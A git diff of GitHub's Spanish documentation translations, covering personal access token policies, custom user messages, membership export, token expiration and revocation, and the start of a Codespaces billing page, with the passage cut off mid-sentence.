acceso mediante un {% data variables.product.pat_v2 %}** : se puede acceder a las organizaciones pertenecientes a la empresa mediante un {% data variables.product.pat_v2_caps %}. Las organizaciones no pueden invalidar esta configuración. +1. Haga clic en **Save**(Guardar). + +## Aplicación de una directiva de aprobación de {% data variables.product.pat_v2 %} + +Los propietarios de empresas pueden requerir a todas las organizaciones de su propiedad que aprueben cada {% data variables.product.pat_v2 %} que tenga acceso a la organización. Con ese {% data variables.product.pat_v2_caps %} se seguirán pudiendo leer recursos públicos dentro de la organización sin necesidad de aprobación. Lo mismo ocurre a la inversa: los propietarios de empresas pueden permitir el acceso a las organizaciones de la empresa mediante un {% data variables.product.pat_v2 %} sin aprobación previa. Los propietarios de empresas también pueden permitir que cada organización de la empresa elija su propia configuración de aprobación. + +{% note %} + +**Nota**: Solo están sujetos a aprobación los {% data variables.product.pat_v2 %}, no los {% data variables.product.pat_v1_plural %}. A menos que la organización o la empresa tenga acceso restringido mediante {% data variables.product.pat_v1_plural %}, cualquier {% data variables.product.pat_v1 %} puede acceder a los recursos de la organización sin aprobación previa. Para obtener más información sobre cómo restringir {% data variables.product.pat_v1_plural %}, consulta "[Restricción del acceso mediante {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" en esta página y "[Establecimiento de una directiva de {% data variables.product.pat_generic %} para la organización](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)". + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +1. En {% octicon "law" aria-label="The law icon" %} **Directivas**, haz clic en **Organizaciones**. +1. En **Requerir aprobación de {% data variables.product.pat_v2 %}** , selecciona la opción acorde a tus necesidades: + - **Permitir que las organizaciones configuren los requisitos de aprobación**: cada organización propiedad de la empresa puede decidir si requerir la aprobación para que un {% data variables.product.pat_v2 %} pueda acceder a la organización. + - **Requerir que las organizaciones usen el flujo de aprobación**: todas las organizaciones propiedad de la empresa deben aprobar cada {% data variables.product.pat_v2 %} que puede tener acceso a la organización. Un {% data variables.product.pat_v2_caps %} creado por los propietarios de la organización no necesitará aprobación. Las organizaciones no pueden invalidar esta configuración. + - **Deshabilitar el flujo de aprobación en todas las organizaciones**: un {% data variables.product.pat_v2_caps %} creado por un miembro de la organización puede acceder a las organizaciones pertenecientes a la empresa sin aprobación previa. Las organizaciones no pueden invalidar esta configuración. +1. Haga clic en **Save**(Guardar). + +## Restricción del acceso mediante {% data variables.product.pat_v1_plural %} + +Los propietarios de empresas pueden impedir que los {% data variables.product.pat_v1_plural %} accedan a la empresa y a las organizaciones pertenecientes a ella. Con esos {% data variables.product.pat_v1_caps_plural %} se seguirá pudiendo acceder a los recursos públicos dentro de la organización. Esta configuración solo controla el acceso mediante {% data variables.product.pat_v1_plural %}, no con un {% data variables.product.pat_v2 %}. Para obtener más información sobre cómo restringir el acceso mediante un {% data variables.product.pat_v2 %}, consulta "[Restricción del acceso mediante un {% data variables.product.pat_v2 %}](#restricting-access-by-fine-grained-personal-access-tokens)" en esta página. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} +1. En {% octicon "law" aria-label="The law icon" %} **Directivas**, haz clic en **Organizaciones**. +1. En **Restringir el acceso a las organizaciones mediante {% data variables.product.pat_v1_plural %}** , selecciona la opción acorde a tus necesidades: + - **Permitir que las organizaciones configuren los requisitos de acceso de {% data variables.product.pat_v1_plural %}** : cada organización propiedad de la empresa puede decidir si restringir el acceso mediante {% data variables.product.pat_v1_plural %}. + - **Restringir el acceso mediante {% data variables.product.pat_v1_plural %}** : no se puede acceder a la empresa o a las organizaciones propiedad de la empresa mediante {% data variables.product.pat_v1_caps_plural %}. Las claves SSH creadas con {% data variables.product.pat_v1_plural %} seguirán funcionando. Las organizaciones no pueden invalidar esta configuración. + - **Permitir el acceso mediante {% data variables.product.pat_v1_plural %}** : se puede acceder a la empresa y a las organizaciones propiedad de la empresa mediante {% data variables.product.pat_v1_caps_plural %}. Las organizaciones no pueden invalidar esta configuración. +1. Haga clic en **Save**(Guardar). diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md index 0adb8a370f..7b4dd247ee 100644 --- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md +++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md @@ -1,12 +1,12 @@ --- -title: Customizing user messages for your enterprise +title: Personalizar los mensajes de usuario para tu empresa shortTitle: Customizing user messages redirect_from: - /enterprise/admin/user-management/creating-a-custom-sign-in-message - /enterprise/admin/user-management/customizing-user-messages-on-your-instance - /admin/user-management/customizing-user-messages-on-your-instance - /admin/user-management/customizing-user-messages-for-your-enterprise -intro: 'You can create custom messages that users will see on {% data variables.location.product_location %}.' +intro: 'Puedes crear mensajes personalizados que los usuarios verán en {% data variables.location.product_location %}.' versions: ghes: '*' ghae: '*' @@ -14,118 +14,98 @@ type: how_to topics: - Enterprise - Maintenance +ms.openlocfilehash: b767a651f19b6200abfc67696d98147ebf65bd9a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106439' --- -## About user messages +## Acerca de los mensajes de usuario -There are several types of user messages. -- Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page{% ifversion ghes or ghae %} -- Mandatory messages, which appear once in a pop-up window that must be dismissed{% endif %}{% ifversion ghes or ghae %} -- Announcement banners, which appear at the top of every page{% endif %} +Hay varios tipos de mensajes de usuario. +- Mensajes que aparecen en la página de {% ifversion ghes %}inicio de sesión o {% endif %}cierre de sesión{% ifversion ghes or ghae %} +- Mensajes obligatorios, los cuales aparecen en una ventana emergente que debe cerrarse{% endif %}{% ifversion ghes or ghae %} +- Letreros de anuncio, los cuales aparecen en la parte superior de cada página{% endif %} -{% ifversion ghes %} -{% note %} +{% ifversion ghes %} {% note %} -**Note:** If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}. +**Nota:** Si usa SAML para la autenticación, el proveedor de identidades presenta la página de inicio de sesión y no se puede personalizar mediante {% data variables.product.prodname_ghe_server %}. {% endnote %} -You can use Markdown to format your message. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)." +Puedes usar Markdown para dar formato al mensaje. Para más información, vea "[Acerca de la escritura y el formato en {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)". -## Creating a custom sign in message +## Crear un mensaje de inicio de sesión personalizado -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -5. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign in page", click **Add message** or **Edit message**. -![{% ifversion ghes %}Add{% else %}Edit{% endif %} message button](/assets/images/enterprise/site-admin-settings/edit-message.png) -6. Under **Sign in message**, type the message you'd like users to see. -![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %} -{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} -{% data reusables.enterprise_site_admin_settings.click-preview %} - ![Preview button](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png) -8. Review the rendered message. -![Sign in message rendered](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png) -{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} -{% endif %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} +5. {% ifversion ghes %}A la derecha de{% else %}En{% endif %} "Página de inicio de sesión", haga clic en **Agregar mensaje** o **Editar mensaje**. +![{% ifversion ghes %}Botón Agregar{% else %}Editar{% endif %} mensaje](/assets/images/enterprise/site-admin-settings/edit-message.png) +6. En **Mensaje de inicio de sesión**, escriba el mensaje que quiere que vean los usuarios. +![Mensaje de inicio de sesión](/assets/images/enterprise/site-admin-settings/sign-in-message.png){% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} {% data reusables.enterprise_site_admin_settings.click-preview %} ![Botón Vista previa](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png) +8. Revisar el mensaje presentado. +![Mensaje de inicio de sesión representado](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} {% endif %} -## Creating a custom sign out message +## Crear un mensaje de cierre de sesión personalizado -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -5. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**. -![Add message button](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png) -6. Under **Sign out message**, type the message you'd like users to see. -![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %} -{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} -{% data reusables.enterprise_site_admin_settings.click-preview %} - ![Preview button](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png) -8. Review the rendered message. -![Sign out message rendered](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png) -{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} +5. {% ifversion ghes or ghae %}A la derecha de{% else %}En{% endif %} "Página de cierre de sesión", haga clic en **Agregar mensaje** o **Editar mensaje**. +![Botón Agregar mensaje](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png) +6. En **Mensaje de cierre de sesión**, escriba el mensaje que quiere que vean los usuarios. +![Mensaje de inicio de two_factor_auth_header](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} {% data reusables.enterprise_site_admin_settings.click-preview %} ![Botón Vista previa](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png) +8. Revisar el mensaje presentado. +![Mensaje de cierre de sesión representado](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} {% ifversion ghes or ghae %} -## Creating a mandatory message +## Crear un mensaje obligatorio -You can create a mandatory message that {% data variables.product.product_name %} will show to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before using {% data variables.location.product_location %}. +Puedes crear un mensaje obligatorio que {% data variables.product.product_name %} mostrará a todos los usuarios la primera vez que inicien sesión después de que guardaste el mensaje. El mensaje aparece en una ventana emergente que el usuario debe descartar para poder usar {% data variables.location.product_location %}. -Mandatory messages have a variety of uses. +Los mensajes obligatorios tienen varios usos. -- Providing onboarding information for new employees -- Telling users how to get help with {% data variables.location.product_location %} -- Ensuring that all users read your terms of service for using {% data variables.location.product_location %} +- Proporcinar información de integración para los empleados nuevos +- Indicar a los usuarios cómo obtener ayuda con {% data variables.location.product_location %} +- Garantizar que todos los usuarios leen tus condiciones de servicio para usar {% data variables.location.product_location %} -If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms. +Si incluyes cajas de verificación con lenguaje de marcado en el mensaje, todas ellas deberán seleccionarse antes de que el usuario pueda descartar el mensaje. Por ejemplo, si incluyes tus condiciones de servicio en el mensaje obligatorio, puede que necesites que cada usuario seleccione una casilla para confirmar que leyó dichas condiciones. -Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." +Cada vez que un usuario vea un mensaje obligatorio, se crea un evento de bitácora de auditoría. El evento incluye la versión del mensaje que vio el usuario. Para más información, vea "[Eventos del registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)". -{% ifversion display-mandatory-message-again %} {% else %} -{% note %} +{% ifversion display-mandatory-message-again %} {% else %} {% note %} -**Note:** If you change the mandatory message for {% data variables.location.product_location %}, users who have already acknowledged the message will not see the new message. +**Nota:** Si cambias el mensaje obligatorio de {% data variables.location.product_location %}, los usuarios que ya lo hayan confirmado no verán el mensaje nuevo. -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -1. To the right of "Mandatory message", click **Add message**. - ![Add mandatory message button](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png) -1. Under "Mandatory message", in the text box, type your message. - ![Screenshot of the mandatory message text box](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png) -{%- ifversion display-mandatory-message-again %} -1. Optionally, select **Show updated message to all users even if they dismissed the previous one**. -![Screenshot of checkbox that when selected pushes mandatory messages to all users](/assets/images/enterprise/site-admin-settings/push-mandatory-message-checkbox.png) - {% endif %} -{% data reusables.enterprise_site_admin_settings.message-preview-save %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} +1. A la derecha de "Mensaje obligatorio", haga clic en **Agregar mensaje**. + ![Botón para agregar mensaje obligatorio](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png) +1. Debajo de "Mensaje obligatorio", en la casilla de texto, teclea tu mensaje. + ![Captura de pantalla del cuadro de texto de mensaje obligatorio](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png) {%- ifversion display-mandatory-message-again %} +1. Opcionalmente, selecciona **Mostrar mensaje actualizado a todos los usuarios, incluso si descartan el anterior**. +![Captura de pantalla de la casilla que, cuando se activa, envía mensajes obligatorios a todos los usuarios](/assets/images/enterprise/site-admin-settings/push-mandatory-message-checkbox.png) {% endif %} {% data reusables.enterprise_site_admin_settings.message-preview-save %} {% endif %} {% ifversion ghes or ghae %} -## Creating a global announcement banner +## Crear un letrero de anuncio global -You can set a global announcement banner to be displayed to all users at the top of every page. +Puedes configurar un letrero de anuncio global para que se muestre a todos los usuarios en la parte superior de cada página. -{% ifversion ghae or ghes %} -You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}"[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" and {% endif %}"[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)." +{% ifversion ghae or ghes %} También puede configurar un banner de anuncio{% ifversion ghes %} en el shell administrativo mediante una utilidad de línea de comandos o{% endif %} mediante la API. Para más información, vea {% ifversion ghes %}"[Utilidades de línea de comandos](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" y {% endif %}"[Administración de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#announcements)". {% else %} -You can also set an announcement banner in the administrative shell using a command line utility. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)." +También puedes configurar un letrero de anuncio en el shell administrativo utilizando una utilidad de línea de comandos. Para más información, vea "[Utilidades de línea de comandos](/enterprise/admin/configuration/command-line-utilities#ghe-announce)". {% endif %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -1. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Announcement", click **Add announcement**. - ![Add announcement button](/assets/images/enterprise/site-admin-settings/add-announcement-button.png) -1. Under "Announcement", in the text field, type the announcement you want displayed in a banner. - ![Text field to enter announcement](/assets/images/enterprise/site-admin-settings/announcement-text-field.png) -1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date. - ![Calendar drop-down menu to choose expiration date](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png){% ifversion ghe-announce-dismiss %} -1. Optionally, to allow each user to dismiss the announcement, select **User dismissible**. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %} +1. {% ifversion ghes or ghae %}A la derecha de{% else %}En{% endif %} "Anuncio", haga clic en **Agregar anuncio**. + ![Botón Agregar anuncio](/assets/images/enterprise/site-admin-settings/add-announcement-button.png) +1. Debajo de "Anuncio", en el campo de texto, teclea el anuncio que quieras mostrar en un letrero. + ![Campo de texto para agregar el anuncio](/assets/images/enterprise/site-admin-settings/announcement-text-field.png) +1. Opcionalmente, debajo de "Vence en", selecciona el menú desplegable de calendario y da clic en la fecha de vencimiento. + ![Menú desplegable de calendario para elegir la fecha de expiración](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png){% ifversion ghe-announce-dismiss %} +1. Opcionalmente, para permitir que cada usuario descarte el anuncio, selecciona **Descartable por el usuario**. - ![Screenshot of the "User dismissible" checkbox](/assets/images/enterprise/site-admin-settings/user-dismissible-checkbox.png){% endif %} -{% data reusables.enterprise_site_admin_settings.message-preview-save %} -{% endif %} + ![Captura de pantalla de la casilla "Descartable por el usuario"](/assets/images/enterprise/site-admin-settings/user-dismissible-checkbox.png){% endif %} {% data reusables.enterprise_site_admin_settings.message-preview-save %} {% endif %} diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md new file mode 100644 index 0000000000..93c584a2d3 --- /dev/null +++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md @@ -0,0 +1,30 @@ +--- +title: Exportación de información de pertenencia de tu empresa +intro: Puedes exportar información sobre todos los miembros de tu empresa. +versions: + feature: enterprise-member-csv +topics: + - Enterprise +shortTitle: Export membership information +permissions: Enterprise owners can export membership information for an enterprise. +ms.openlocfilehash: ba7519aae1b38cd629a46baeacd5edc9d138efdc +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106425' +--- +{% note %} + +**Nota:** La exportación de información de pertenencia de una empresa está actualmente en versión beta y, por tanto, sujeta a cambios. + +{% endnote %} + +Para realizar una auditoría de personas que tienen acceso a los recursos de la empresa, puedes descargar un informe CSV de información de pertenencia de tu empresa. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} +1. A la derecha de "Miembros", haz clic en **{% octicon "download" aria-label="The download icon" %} Informe CSV**. + + - Si tu empresa tiene menos de 1000 miembros, el informe se descargará inmediatamente. + - Si tiene 1000 o más miembros, en breve recibirás un correo electrónico con un vínculo para descargar el informe. + ![Captura de pantalla del botón "Informe CSV"](/assets/images/help/business-accounts/csv-report-button.png) diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md index 4b4832b39c..37a6cce842 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md @@ -1,6 +1,6 @@ --- -title: Token expiration and revocation -intro: 'Your tokens can expire and can also be revoked by you, applications you have authorized, and {% data variables.product.product_name %} itself.' +title: Vencimiento y revocación de tokens +intro: 'Tus tokens pueden vencer y también los puedes revocar tú, las aplicaciones que hayas autorizado y el mismo {% data variables.product.product_name %}.' versions: fpt: '*' ghes: '*' @@ -12,51 +12,56 @@ topics: shortTitle: Token expiration redirect_from: - /github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation +ms.openlocfilehash: 00ccfc3117401bfa9464da9599067fe1d2f514dd +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107001' --- +Cuando un token ha expirado o se ha revocado, ya no se puede usar para autenticar solicitudes de Git y de API. No es posible restablecer un token revocado o vencido, ya seas tú o la aplicación necesitarán crear un token nuevo. -When a token has expired or has been revoked, it can no longer be used to authenticate Git and API requests. It is not possible to restore an expired or revoked token, you or the application will need to create a new token. - -This article explains the possible reasons your {% data variables.product.product_name %} token might be revoked or expire. +Este artículo te explica las posibles razones por las cuales tu token de {% data variables.product.product_name %} podría revocarse o vencer. {% note %} -**Note:** When a {% data variables.product.pat_generic %} or OAuth token expires or is revoked, you may see an `oauth_authorization.destroy` action in your security log. For more information, see "[Reviewing your security log](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log)." +**Nota:** Cuando un {% data variables.product.pat_generic %} o de OAuth expira o se revoca, es posible que veas una acción `oauth_authorization.destroy` en el registro de seguridad. Para más información, vea "[Revisión del registro de seguridad](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log)". {% endnote %} -## Token revoked after reaching its expiration date +## El token se revocó después de llegar a su fecha de vencimiento -When you create a {% data variables.product.pat_generic %}, we recommend that you set an expiration for your token. Upon reaching your token's expiration date, the token is automatically revoked. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." +Cuando creas un {% data variables.product.pat_generic %}, te recomendamos que configures una fecha de vencimiento para este. Al alcanzar la fecha de vencimiento de tu token, este se revocará automáticamente. Para obtener más información, consulta "[Creación de una {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)". {% ifversion fpt or ghec %} -## Token revoked when pushed to a public repository or public gist +## El token se revocó cuando se subió a un repositorio o gist público -If a valid OAuth token, {% data variables.product.prodname_github_app %} token, or {% data variables.product.pat_generic %} is pushed to a public repository or public gist, the token will be automatically revoked. +Si un token de OAuth, un token de {% data variables.product.prodname_github_app %} o un {% data variables.product.pat_generic %} válido se sube a un repositorio o gist público, este se revocará automáticamente. {% endif %} {% ifversion fpt or ghec %} -## Token expired due to lack of use +## El token venció debido a la falta de uso -{% data variables.product.product_name %} will automatically revoke an OAuth token or {% data variables.product.pat_generic %} when the token hasn't been used in one year. +{% data variables.product.product_name %} revocará el token de OAuth o el {% data variables.product.pat_generic %} automáticamente cuando no se haya utilizado en un año. {% endif %} -## Token revoked by the user +## El usuario revocó el token -You can revoke your authorization of a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} from your account settings which will revoke any tokens associated with the app. For more information, see "[Reviewing your authorized integrations](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)" and "[Reviewing your authorized applications (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth)." +Puedes revocar tu autorización de una {% data variables.product.prodname_github_app %} o {% data variables.product.prodname_oauth_app %} desde tus ajustes de cuenta, lo cual revocará cualquier token asociado con la app. Para más información, vea "[Revisión de las integraciones autorizadas](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)" y "[Revisión de las aplicaciones autorizadas (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth)". -Once an authorization is revoked, any tokens associated with the authorization will be revoked as well. To re-authorize an application, follow the instructions from the third-party application or website to connect your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} again. +Una vez que se revoca una autorización, cualquier token asociado con la autorización también se revocará. Para volver a autorizar una aplicación, sigue las instrucciones de la aplicación de terceros o sitio web para conectarte nuevamente a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. -## Token revoked by the {% data variables.product.prodname_oauth_app %} +## La {% data variables.product.prodname_oauth_app %} revocó el token -The owner of an {% data variables.product.prodname_oauth_app %} can revoke an account's authorization of their app, this will also revoke any tokens associated with the authorization. For more information about revoking authorizations of your OAuth app, see "[Delete an app authorization](/rest/reference/apps#delete-an-app-authorization)." +El propietario de una {% data variables.product.prodname_oauth_app %} puede revocar una autorización de su app en una cuenta, esto también revocará cualquier token asociado con esa autorización. Para más información sobre cómo revocar las autorizaciones de la aplicación de OAuth, vea "[Eliminación de una autorización de aplicación](/rest/reference/apps#delete-an-app-authorization)". -{% data variables.product.prodname_oauth_app %} owners can also revoke individual tokens associated with an authorization. For more information about revoking individual tokens for your OAuth app, see "[Delete an app token](/rest/apps/oauth-applications#delete-an-app-token)". +Los propietarios de {% data variables.product.prodname_oauth_app %} también pueden revocar tokens individuales asociados a una autorización. Para obtener más información sobre cómo revocar tokens individuales para la aplicación de OAuth, consulta "[Eliminar un token de aplicación](/rest/apps/oauth-applications#delete-an-app-token)". -## Token revoked due to excess of tokens for an {% data variables.product.prodname_oauth_app %} with the same scope +## El token se revocó debido a un exceso de tokens para una {% data variables.product.prodname_oauth_app %} con el mismo alcance {% data reusables.apps.oauth-token-limit %} -## User token revoked due to {% data variables.product.prodname_github_app %} configuration +## El token de usuario se revocó debido a la configuración de la {% data variables.product.prodname_github_app %} -User-to-server tokens created by a {% data variables.product.prodname_github_app %} will expire after eight hours by default. Owners of {% data variables.product.prodname_github_apps %} can configure their apps so that user-to-server tokens do not expire. For more information about changing how your {% data variables.product.prodname_dotcom %} App's user-to-server tokens behave, see "[Activating optional features for apps](/developers/apps/getting-started-with-apps/activating-optional-features-for-apps)." +Los tokens de usuario a servidor que creó una {% data variables.product.prodname_github_app %} vencerán después de ocho horas, predeterminadamente. Los propietarios de las {% data variables.product.prodname_github_apps %} pueden configurar sus apps para que los tokens de usuario a servidor no venzan. Para más información sobre cómo cambiar el comportamiento de los tokens de usuario a servidor de la aplicación {% data variables.product.prodname_dotcom %}, vea "[Activación de características opcionales para aplicaciones](/developers/apps/getting-started-with-apps/activating-optional-features-for-apps)". diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md index bc3828f634..ce73aba9f4 100644 --- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md +++ b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md @@ -1,14 +1,12 @@ --- title: About billing for GitHub Codespaces shortTitle: About billing -intro: 'View pricing and see how to manage {% data variables.product.prodname_github_codespaces %} billing for your organization.' -permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.' +intro: 'Learn about the costs for using {% data variables.product.prodname_github_codespaces %}, and the monthly usage quotas included with {% data variables.product.prodname_dotcom %} personal accounts.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' ghec: '*' type: overview -product: '{% data reusables.gated-features.codespaces %}' topics: - Codespaces - Billing @@ -23,20 +21,59 @@ redirect_from: ## {% data variables.product.prodname_github_codespaces %} pricing -Charges are incurred for the use of {% data variables.product.prodname_github_codespaces %} for repositories owned by organization and enterprise accounts on {% data variables.product.prodname_team %} and {% data variables.product.prodname_enterprise %}. These accounts do not include any free minutes or storage for {% data variables.product.prodname_github_codespaces %}. Personal accounts are not currently billed for {% data variables.product.prodname_github_codespaces %} usage. +{% data reusables.codespaces.codespaces-free-for-personal-intro %} -A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of storage it uses on disk. +Charges are billed to an organization or enterprise when all of the following are true: -{% data variables.product.prodname_github_codespaces %} usage is billed according to the units of measure in the following table: +- The repository from which a codespace is started (or the parent repository, in the case of a forked repository) is owned by an organization. +- The organization is configured to be billed for codespaces created from the repository or forks of the repository. +- The user creating the codespace belongs to the organization, or is an outside collaborator affiliated with the organization, and the organization has chosen to pay for this user's use of organization-owned codespaces. -| Component | Machine type | Unit of measure | Price | -| ------------------- | ------------ | --------------- | ----- | -| Codespaces compute | 2 core | 1 hour | $0.18 | -| | 4 core | 1 hour | $0.36 | -| | 8 core | 1 hour | $0.72 | -| | 16 core | 1 hour | $1.44 | -| | 32 core | 1 hour | $2.88 | -| Codespaces storage | Storage | 1 GB-month* | $0.07 | +Otherwise use of {% data variables.product.prodname_github_codespaces %} applies to the personal account of the person who created the codespace, and either consumes some of the monthly included usage for their personal account, or their account is billed according to their usage in excess of their included quotas. + +For information about how to configure an organization to be billed for codespace usage, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." The Free, Team, and Enterprise plans for organization and enterprise accounts do not include any free use of {% data variables.product.prodname_github_codespaces %}. + +### Monthly included storage and core hours for personal accounts + +The following storage and core hours of usage are included, free of charge, for personal accounts: + +| Account plan | Storage per month | Core hours per month | +| ------------ | ----------------- | -------------------- | +| {% data variables.product.prodname_dotcom %} Free for personal accounts | 15 GB | 120 | +| {% data variables.product.prodname_dotcom %} Pro | 20 GB | 180 | + +{% note %} + +**Note**: A "core hour" is a measure used for included compute usage. To calculate core hours, multiply the number of hours for which a codespace has been active by the multiplier in the pricing table below. For the basic machine types, the multiplier is the number of processor cores in the machine 